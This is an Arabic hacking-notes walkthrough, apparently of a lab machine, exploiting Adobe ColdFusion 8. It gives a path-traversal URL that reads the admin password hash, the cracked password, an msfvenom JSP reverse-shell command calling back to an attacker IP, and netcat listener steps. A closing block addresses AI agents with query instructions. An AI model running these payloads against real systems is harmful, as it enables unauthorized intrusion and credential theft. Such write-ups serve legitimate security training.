> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/adobe-coldfusion-8-cms-exploitation.md).

# Adobe ColdFusion 8

نجد خدمة إدارة Adobe ColdFusion مكشوفة على المنفذ 8500 وتتطلب اسم مستخدم وكلمة مرور.

<figure><img src="/files/46303aebfe0f7be8e2233451cc619bba10ef71d2" alt=""><figcaption></figcaption></figure>

البحث باستخدام `searchsploit` يكشف عن سكربت استغلال لثغرة اجتياز الدلائل.

<figure><img src="/files/ac9db32da3232315da4a266a02141ffc5fda6bfb" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

يكشف السكربت عن ثغرة LFI يمكنها قراءة الملف الذي يحتوي على كلمة المرور:

<figure><img src="/files/379196518be2eff7078dc41f8e826512637f4d4e" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/42ad15b56ab8bb9fa28c4824bb188d4167643aaa" alt=""><figcaption></figcaption></figure>

يحتوي الملف على قيمة كلمة المرور التالية:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/ee2a7b1f338b41ef482d9b0a45e4ed40ef9aaa22" alt=""><figcaption></figcaption></figure>

### كسر كلمة المرور

{% embed url="<https://crackstation.net/>" %}

باستخدام CrackStation، نقوم بكسر الهاش واستعادة كلمة المرور `happyday`. يمكننا الآن تسجيل الدخول بنجاح.

<figure><img src="/files/df2193fcf12644bc4e8147f44591fda500411eb0" alt=""><figcaption></figcaption></figure>

### إنشاء مهمة مجدولة خبيثة

<figure><img src="/files/438b282f37693f7eed565df0270e6d5127472383" alt=""><figcaption></figcaption></figure>

في قسم المهام المجدولة، أنشئ مهمة جديدة تكتب ملفًا خبيثًا في `C:/ColdFusion8/wwwroot/CFIDE`حيث يمتلك التطبيق أذونات القراءة/الكتابة.

<figure><img src="/files/789c4a55e611531fcb6f5efce8c5c0e67fd7c582" alt="" width="563"><figcaption></figcaption></figure>

**إنشاء ملف JSP:** بما أن الخادم يمكنه تنفيذ ملفات JSP، فأنشئ صدفة عكسية JSP باستخدام `msfvenom`:

<figure><img src="/files/352303690a92d680c9c9ffc88391ee15b4fb273d" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/83d2a37d6451a78594b6e18f56b2f731e5df2a5a" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**إضافة مهمة جديدة:** قم بتهيئة المهمة المجدولة لتنفيذ الملف الخبيث.

<figure><img src="/files/c816fb3d526cf263e7ac782748f550f60dc59c8b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6ee2fc50e76c3a0ded8369c2edb1675fdb814ed5" alt="" width="563"><figcaption></figcaption></figure>

**خادم HTTP لنقل الملفات:** ابدأ خادم HTTP على جهاز المهاجم لنقل ملف JSP:

```bash
python3 -m http.server 80
```

<figure><img src="/files/09ae77fc3699b7365ab932d55792204a976c9357" alt=""><figcaption></figcaption></figure>

**إعداد المستمع وتنفيذ الصدفة:** ابدأ مستمعًا على المنفذ 443 لاستقبال الصدفة العكسية، ثم فعّل المهمة المجدولة من `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/5e32f5041473bb6090e7819b4325cb709c351664" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/fd88b1ce4d411e0f827bc0420caf6c907351c946" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/adobe-coldfusion-8-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
